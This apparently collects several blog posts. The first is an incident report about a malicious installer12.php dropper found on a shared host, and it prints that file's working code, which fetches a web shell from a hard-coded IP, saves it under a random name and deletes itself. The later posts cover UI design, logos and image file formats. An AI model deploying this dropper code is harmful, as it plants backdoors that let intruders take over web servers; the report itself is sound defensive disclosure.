A few days ago, I noticed a file named installer12.php in one of our tmp directories. This file is designed to self-destruct by the last line in code which is:

@unlink(__FILE__);

At the top of installer12.php is an array with hundreds of random words, and it randomly combines two words to create a file name. What this file with a random name does is explained by Leo Parker Dirac on his blog. In his case, installer12.php happens to pick “ainslie” and “turning” to create “ainslieturing.php”. Both of these words are in installer12.php.

The reason why installer12.php did not self-destruct on our site is because our tmp directory is not publicly accessible. We have htaccess file that sets the web root lower down in the directory structure. So, the hacker somehow managed to copy this installer12.php into our tmp directory, but could not trigger it because it’s not publicly accessible. So, it remains undeleted.

The installer12.php in our tmp directory has a Linux user of rp_admin and group of pg7029. Neither are ours, which means that the hacker did not copy installer12.php from any script on our site. If he ran a compromised/malicious script on our website to copy this file, it would have our Linux user and group (just like the JPEG files that we allow users to upload to the site). My guess, therefore, is that the hacker had shell access to the shared server (where our site is hosted) and were able to copy installer12.php to any directory on the server with permission set to 777. In fact, our tmp directory had many subdirectories, and installer12.php was copied into all of them (about 100). So, some sort of script searched the server for any directory with 777 and automatically copied the script in all of them.

After I reported this incident to DreamHost, they ran an automated script to scan our website for any suspicious files. It is supposed to delete any known malicious files but it didn’t delete installer12.php, which leads me to believe that they are not aware of it.

Here’s the code part of installer12.php (right above this part is a big array with random words):


function get_page($url){
$ch1 = curl_init ();
curl_setopt ($ch1, CURLOPT_URL,$url);
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_TIMEOUT, 1000);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)");
$results = curl_exec ($ch1);
curl_close($ch1);
return $results;
}

$buf = get_page("http://176.65.163.29/newshell.txt");
shuffle($words);
reset($words);
$name = $words[0].$words[1].".php";
$f = @fopen($name,"w");
if ((strstr($buf,"8b7b")) && ($f)){
@fwrite($f,$buf);
@fclose($f);
$host = $_SERVER["HTTP_HOST"];
$uri = $_SERVER["REQUEST_URI"];
$path = str_replace("//","/",pathinfo($uri,PATHINFO_DIRNAME)."/".$name);
echo "|||OK|||http://$host".$path."|||";
} else {
echo "|||BAD|||cant open file $name or cant get sh|||";
}
@unlink(__FILE__);


I informed DreamHost about this. If they get back to me with any new info, I’ll update this post.

Every voice recognition program is launched with a big fanfare, but they never stick. (Remember AT&T’s mLife with this big ad campaign?) For it to work, it needs to have a 99% success rate. Not just accuracy, but success rate. For instance, it can’t fail just because there is no Internet connection. It needs to work 99% of the time I try to use it. It can’t fail just because I started talking before Siri beeped.

It’s sort of like how most attempts at creating PDAs failed (including Apple’s Newton) until Palm Pilot made it good enough. In my view, voice recognition is still not ready.

Apparently the reactions from the users were so bad that Skype had to make their older version (2.8) available again for download. Lukas Mathis at Ignore the Code does a thorough analysis of the problems. What is even worse is that, instead of fixing it, they decided to have a competition for new UI design. In other words, “We don’t really care about UI, so why don’t you all do whatever you want to do with it?”

UI disasters of this magnitude are pretty rare, so I figured whoever designed it, must be in trouble. It turns out that the UI design was outsourced to a consulting firm called 80/20. Towards the bottom of the page, I saw the photos of their partners, and they all have impressive backgrounds in UI design. (I met Jerry Knight once about 5 years ago. He used to live across the street from me.) So, what went wrong? Naturally, I’m not going to find the real answer, but there are several things I could point out just from what I found out so far.

In my view, a software company should not outsource UI design. That is, UI designers should always be part of their core development team. Here are some reasons.

1. When you hire an outside firm, they would try to deliver a product that can justify their price tag, which means their natural tendency would be to make dramatic and “revolutionary” changes whether such changes are needed or not.
2. For the purpose of marketing the firm (to ensure ongoing business), independent consulting firms would want to make dramatic changes so that their mark is abundantly clear to everyone. Marketing and PR is an unavoidable concern for independent businesses. This too is a conflict of interest.
3. UI design is an iterative process that never stops. You cannot just hire an outside consultant for a short period of time to design a UI as a one-off project. To be a UI designer, you must accept the fact that you are going to get many things wrong. UI design deals with human nature; you can never predict everything, just as they could not predict this disaster. The learning never stops, so it must go on indefinitely.
4. Even when dramatic changes are required, they do not have to be (or should not be) released all in one go. In most cases, it would be better to gradually introduce the changes over time so that your existing users would not be disoriented. Hiring an outside firm is not conducive to this type of strategy as you have little or no control over the long term relationship with that firm.
5. Most important reason why UI design should be part of your core competency as a software company is because user interface is how you engage your customers. In today’s world of two-way mass media, traditional one-way advertising and marketing strategies no longer work. Marketing must be built into the product itself. Customer engagement should be what drives product development. It makes no sense to outsource the most strategically important aspect of your business to an outside vendor. If that is not part of your core competency, you might as well sell the company.

This UI disaster made me think of the blog post by Khoi Vinh, “The End of Client Services”. It drives his point home. The reason why he no longer wants to be involved in the business of client services is because he does not think it makes sense to outsource that aspect of software product or website.

I believe the real problem with Skype’s UI lies at the top of their corporate ladder. The management obviously does not think UI design is a strategically important aspect of their business. I think that’s where the problem started, and that’s why I can’t enjoy using it anymore.

A business is like a parent. A product can live on without a parent. Think of Adobe Flash. It was originally owned by FutureSplash, then by Macromedia, and then finally by Adobe. Even if the owner/parent of the product dies, the product itself can live on until it dies of its own death. In this analogy, it becomes obvious why we crave to create a product of our own, and why that idea feels more satisfying than owning a business. It comes from our primordial urge to have our own offsprings and pass on our DNA. Artists often sublimate their desire to have children into their artworks.

The highly successful software company 37 Signals, who created the popular project management application Basecamp, was originally a web design firm. Once they had a successful product, they ditched their design business. Ben Pierrat of Svpply explains why he is no longer a designer in this post entitled “Dear Graphic and Web Designers”. Their move away from a service-oriented business to a product-oriented one makes sense. With a business with no products, once the business dies and the people leave, nothing is left. This is particularly true for a creative business like a design firm because the service you are selling, at the end of the day, is you. You are not creating an offspring. If you stop working, it all ends right then. Because of this, many creative business owners try to separate their business from their own identity by pouring their effort into their “brand capital”, hoping that they can sell the brand some day. In the vast majority of cases, it fails; they can’t find any buyers because that “brand capital” has little or no value without the owner who is associated with it. As much as they would like to believe that brand capital can be separated from its creators, in reality, it doesn’t work so well. If they want to create something that has its own life with their DNAs embedded in it, it can’t be a group of people. It needs to be a product.

This is a difficult dilemma to solve particularly for designers because they are supposed to be “creative” people. Serving the needs of others isn’t creative. You are only vicariously living a creative life through other people’s needs to be creative. It’s “creative” only on the facade. As a designer, you can express yourself, but expressing isn’t the same as creating. Just because you expressed something, it does not mean that your expression would have a life of its own. Your expression does not automatically serve as an offspring. Ultimately we want to create our own offsprings, just expressing ourselves ends up feeling empty. We can have real human children but that’s a bit too easy. Any animals can do the same. As a human, we crave for something more intellectually challenging.

My company has our own content management system. Why bother creating our own when there are so many free, open source content management systems like Drupal, Symphony, and Joomla? It’s because I want my product to have my own DNA. I want it to reflect my ideas, visions, and philosophy about how a website should interact with humans, and serve the client who share similar visions. I don’t want to take a product someone else created and simply integrate it into someone else’s website. That wouldn’t be so satisfying or interesting for me. Ultimately, I would love to have a website/product that generates enough income to be self-sustaining. I’m not there yet. I’ll just have to keep trying.

10 years ago, the role of branding and graphic design firms was primarily to help their clients promote their products. There was a circle with consumers inside and another circle with products inside; the role of agencies was to provide an effective way to interface the two circles. This has changed. Today the design of products is an essential and integral part of the branding and marketing strategy, Apple being the best example of it.

This strategy has always existed for design-oriented businesses like fashion and furniture, and these businesses have always had their own in-house design departments. What is changing is that other businesses that traditionally paid scant attention to design (like computer companies) are now seeing the effectiveness of building their brands right into their products. In other words, “branding” is no longer a communication strategy that comes after the fact; it’s an integral part of their products. This means “branding” must come under the bigger umbrella of “product development”. This is what Khoi Vinh is essentially explaining. This is not a new idea. Seth Godin wrote a book about it in 2002 called “Purple Cow”. But what is new today is that it’s no longer just about physical products or services in person because the primary way that people interface with businesses is through websites. Websites are no longer digital versions of printed brochures; they are now computer programs that interact with the consumers. In other words, they are no longer a means of communication but are themselves the products. “Branding” therefore must be built into the user-experience of these websites. The companies that conduct a lot of business over the Internet need to have their brand integrated into the design and user-experience of their websites, which means branding and web design must be under the umbrella of “product development”, which in turn means it should ideally be managed in-house. Khoi is right. Although the majority of companies still do not use the Internet as a significant means of conducting their business, it is clearly shifting in that direction. Even small businesses like restaurants are gradually becoming concerned about having online ordering.

Where I disagree with Khoi is that “client services” in this area, I believe, will boom. It is not realistic or practical even for large companies to suddenly acquire technological expertise and insight overnight. To become Internet-savvy, the culture of the entire company needs to change. To get there, they are going to need outside consultants or agencies to make that transition. For small to medium size businesses, outside agencies will always be necessary because it does not make financial sense at that level to manage it in-house. Small businesses will need other small businesses to indirectly subsidize the development cost, and this can only be done through a third party agency.

However, what will change in my view is the scope of the work that “client services” must cover, or how agencies must package our services. We cannot just offer the “branding” part of it; we need to offer the actual “product” with the branding part built in. In tangible terms, it would mean, for instance, developing an ecommerce website. We cannot just offer to “design” or “brand” their ecommerce website. We need to actually build it. This forces a branding agency or a design firm to be a product development company with significant technological expertise. This is one of the reasons why I am insistent on not separating “design” from “programming” (or “engineering”) when building a website. A website is an industrial design product (like cars, microwaves, and airplanes); design, branding, and user-experience must be integral parts of it. It does not make sense to separate them. A design firm that handles just the graphic design part of a website makes no sense to me.

When someone asks me what my company does, I tend to avoid using the popular term “Web design”. Although “Web design” is still the best term for most people to understand what we do, I do not want people to think that we manage just the “design” part of it. Our world is so rapidly evolving that our language is not catching up fast enough.

When I first saw the new building, I immediately noticed the use of Gridnik and assumed that they used it because it’s somewhat trendy right now. Interesting that the trend had nothing to do with it. Since the original building was built, I’m sure this style has gone through many phases of falling in and out of trend. And, it’s back in trend again just in time for the new building.

Somewhat related is this factoid about the orginal building: Peter Cooper wanted a shaft for an elevator even though elevators haven’t yet been invented then.

By the way, someone should fix the kerning of the type under his statue. I’m not sure if that’s how it was created, or if it went out of whack over time. I have a feeling that Pete wouldn’t approve it.

Read at DYSKE.COM »

Much of the job of designing a logo is about educating the clients about what a logo is and how it works. This process is what often makes it expensive, and the most people are shocked and outraged to hear that some company paid millions of dollars for a logo that they themselves could draw in a matter of minutes, if not seconds.

Suppose you work for Pepsi and you feel that the company needs a new logo. How would you go about achieving it? A logo is like a face of the company. Since the existing Pepsi logo has been in use for decades, it’s going to be very difficult to convince everyone that Pepsi needs a new logo. Because everyone has an opinion about logos, particularly about the logo of the company they work for, the toughest part of the job would not be designing a good looking logo, but convincing everyone to accept the new logo. A design firm would essentially be functioning like a political consultant or lawyer to win votes within Pepsi. That is what you would be paying for.

The Arnell Group who recently redesigned the Pepsi logo for real had to come up with an incredible array of arguments to win the internal support at Pepsi. Most of these arguments are probably nonsense and the people at The Arnell Group probably knew it too, but without someone willing to get up on stage to propose a solution, there would just be a bunch of critics in the audience arguing till the cows come home. If your company is new and doesn’t have a logo yet, this would certainly be a more pressing issue.

Equally important to managing the internal politics is market research. With a relatively simple shape, it needs to stand apart from the sea of logos in the same market. Even if the new design is beautiful and everyone loves it, if it looks just like the logo of a well known competitor in your market, it would be useless, or even disasterous.

It also needs to be memorable. Even if the new logo is distinct, it may not be memorable. For something to be memorable, it needs to be relatively simple. Complex logos are hard to remember because we humans cannot retain too many visual details. We unconsciously reduce visual information to its essential elements. We take this ability for granted but it’s a skill that we acquire over many years in our childhood. This is why children gravitate toward cartoons. Cartoons tell them how to strip down visual information to its bare essentials, so that they can digest and remember only the relevant and useful information. When we see something, we don’t pay attention to all the visual details evenly; we extract and digest only the relevant information for any given context.

The logos you see above are of various universities around the world. Technically they are distinct but they all look the same to us because we don’t see the point of retaining all those visual details. Most of us couldn’t, even if we wanted to. So, in our minds, they are all a big blur like this:

Pretty much the only thing we remember about them is that they are all shaped like a shield. It’s a good thing that logos aren’t that important for universities. Harvard University, for instance, is one of the most recognized brand names in the world, but most people probably couldn’t pick out their logo from above. The only one that is clearly identifiable and memorable is the last one for Loughborough University. Since all that we would take away from these logos is that they are in the shape of a shield, they might as well get rid of all the details like Loughborough did.

In comparison, the executives in the airline industry are much more educated about the value of branding, so they generally choose much simpler logos as you can see below.

Now, let’s blur them in the same way and see what they look like.

Even when the same amount of blur is applied to them, we can still recognize them, which is important because they might literally be blurry when we see them far away at the airport or on a fast moving airplane. Simple logos are also flexible. It can be used black and white, printed on a T-shirt, embroidered on a hat, etc.. Below you see the different applications of the Apple logo I found on the Internet. Imagine doing this with any of the university logos (except for Loughborough); it would simply be impossible.

Simple logos also inspire imagination. After Japan suffered the devastating Tsunami, graphic designers from around the world were inspired to create symbols and posters to help raise money for Japan. The Japanese flag is one of the simplest flags in the world (if not the simplest). If it weren’t for the simplicity, this would not have happened, and the amount of money raised to help them may have been quantifiably lower.

This, however, does not mean that simpler is always better. The idea is to make it as simple as possible while making sure that it’s still distinct and memorable. The reason why Japan’s flag works well is because no other country thought of using a red dot as a flag. If there were many other countries with a single dot on their flags, it wouldn’t have worked so well.

The people who do not understand how logos work are often looking to be wowed by the logo when they hire a designer. They are looking for something that they could not draw themselves. It would require a supremely confident designer to propose something like the Japanese flag. In their minds, they are paying the designer a lot of money for their logo, so they want to feel that they got their money’s worth. What would satisfy them would be something like these:

These are the sort of logos where the client goes, “Yeah! That’s what I’m talking ’bout!” and I quietly say, “Yes, I know.” As you would have to agree, a lot of work went into creating these logos. In terms of the amount of labor and skills involved, you would feel like you got your money’s worth, but great logos are not about how hard it is to draw them. You are not paying the designers for their craftsmanship. You want to be clearly distinguished from the others in your market, be easily recognized, and be more memorable than your competitors. You want your logo to help you do that. The logos with wow-factors like the ones above are only going to help promote the designers, not your business. They are in fact generic and unmemorable in their complexity and use of cliché.

Lastly, what is a fair price for designing a logo? This is a popular question for obvious reasons. If I sufficiently explained how logos work in this newsletter, you would probably understand that there wouldn’t be any set price for developing a logo because you are not paying for the product but for the process to arrive at the final product. The final product may only take a minute to draw. You are paying for the process you and your designer go through to arrive at that conclusion. Depending on the designer or design firm, it could be $100 or $1,000,000. I would suggest that you figure out how much you are willing to spend for a logo, which would be a reflection on how much value you see in it. With the given budget, the design firm would figure out how deeply they could explore various options and conduct research. To be realistic, a logo isn't important for every business. It wouldn't matter much, for instance, for universities or corporate law firms, but it does matter a lot for most retail businesses.

This is the route I ran this morning, tracked using RunKeeper. It wasn’t easy to find a route in Manhattan that would give me the optimal typographic contours. The fact that the iPhone GPS isn’t so accurate makes it hard too. I guess it would be more fun if this was done in a wide open field with no streets. That way, I can be really conscious of getting it right, such as serifs and overshoots.

There are two ways to interpret visual information digitally. One way is to record the step-by-step instructions, like a cooking recipe. For instance, your computer writes down: “Use a blue pen with a thickness of 3 pixels. Start drawing a straight line at the location X=120 and Y=324, and end at X=450 and Y=1300.” Or, “Draw a red circle that is 300 pixels wide at the location X=324 and Y=654.” Given the instructions, another computer would be able recreate it later on its monitor. This method of recording visual information is called “vector”. But unfortunately, vector file formats are limited in what kind of information you can record. It would have to be relatively simple and flat. A picture of your face, for instance, is too complex to record in this manner.

The other method is called “raster” which breaks up what the camera sees into a whole bunch of dots (pixels), and records the color of each. Like reading a book, you start reading the pixels from the top left and end at the bottom right. This is exactly what your scanner does. The light emitting censor travels across your photo or document, breaks up what it sees into a bunch of pixels, and records each color value. The only difference between a scanner and a digital camera is that the latter does it instantaneously.

Raster file formats can record any kind of images. You might then ask: “If raster file formats can record anything, why don’t we just use raster formats for everything? Why do we need vector file formats?” One answer is that vector files are usually much smaller. Breaking up the world into a bunch of tiny pixels and recording their values results in a lot of data to store. If this were the only advantage of vector file formats, they would become obsolete once everyone has a super-fast Internet connection and a massive hard drive, but there is another advantage: It can be enlarged infinitely. Because they are recorded as instructions, it’s easy to reinterpret them at a different scale. For instance, if we interpreted the numbers used to record the locations and sizes to mean feet instead of inches, it would instantly become larger without losing any quality. If you enlarge raster images, you begin to see the pixels. For this reason, you would want the logo of your business in a vector format. You might use your logo for a large flag or a huge outdoor ad. If your logo is saved in a vector format, you could enlarge it 100 feet tall and it would still be perfectly sharp.

The most common raster file format is JPEG. In most cases, you would see “.jpg” or “.jpeg” at the end of the file name, like “my-cat.jpg” or “mydog.jpeg”. (If you are naming the file yourself, it’s better to use “.jpg”.) A JPEG file can be opened in just about any programs. You could open it with a web browser, image processing programs like Microsoft Paint, Adobe Photoshop, or even word processors like Microsoft Word. “JPEG” stands for “Joint Photographic Experts Group”. The only important thing here is the word “Photographic”; it was designed for photographic images, not for a flat graphic image like a logo.

The most common vector file format is EPS, but it gets a bit confusing because you can embed raster images into vector file formats, which means you could get an EPS file that contains nothing but a raster image. The same is true for other vector file formats like AI (Adobe Illustrator) and PDF (Adobe Acrobat). I’ve often received raster logos from clients, and when I asked for “vector” logos, some of them simply copied and pasted the raster logos into Adobe Illustrator and saved them as an AI or EPS file. If you understand the fundamental difference between raster and vector, you would understand that this would not magically convert the pixels into mathematical instructions. If you do not have a vector version of your logo, it means that you would have to create it from scratch. There is no easy way to automatically convert a raster image into a vector image, although it’s easy to go the other way. It’s like trying to write a recipe for a dish you are served at a restaurant.

Another common question that people come across is what “size” means for digital photos. There are two possible ways to interpret what is meant by “size”. One is the dimensions of the photo. It may contain 2,000 pixels across and 1,000 pixels down. Or, it may contain 10,000 pixels across and 5,000 pixels down. The latter is obviously larger in “size”. Another way to interpret “size” is file size. Intuitively you might assume that the larger the dimensions, the larger the file size. This is not so because JPEG has a way to “compress” visual data. If the same amount of compression were applied to both examples above, the latter with the larger dimensions would be larger in file size, but it’s also possible for both to have the same file size if you were to apply more compression on the latter. To avoid this confusion, when speaking of “size” in digital photos, be specific whether you mean “file size” or “dimensions”.

When you “compress” a digital photo, the dimensions of it would remain the same, but you lose the quality (or the definition) of the image. The image on the right shows the loss of quality as you compress more (it’s more compressed on the right side). If you are printing the photo, you would want the file that is least compressed, but if you are just showing it to someone as an email attachment, you might want to compress it so that the file size would be manageable. In general, you wouldn’t want your email attachment to be larger than 1MB.

There are many other raster file formats, like TIFF, BMP, PICT, PNG, PSD, and GIF. The only reason why you might want to consider using any of these formats is to save your image without compressing at all. JPEG by default compresses your image even at its highest quality setting. If you do not want to compress your image and retain its original quality, use either TIFF or PNG. These formats allow you to save it uncompressed. The other file formats are less common and achieve the same goal, so you might as well use more common formats. If you have a raster image that is flat, like a logo, use PNG and compress it. PNG can compress an image without losing any quality, but it only works if the artwork is flat and have many pixels with identical colors (It basically skips the pixels with the same color and marks them as “the same as before”).

Next time you need to send an image file to someone, hopefully now you know what you have to do. If you have any questions, shoot me an email.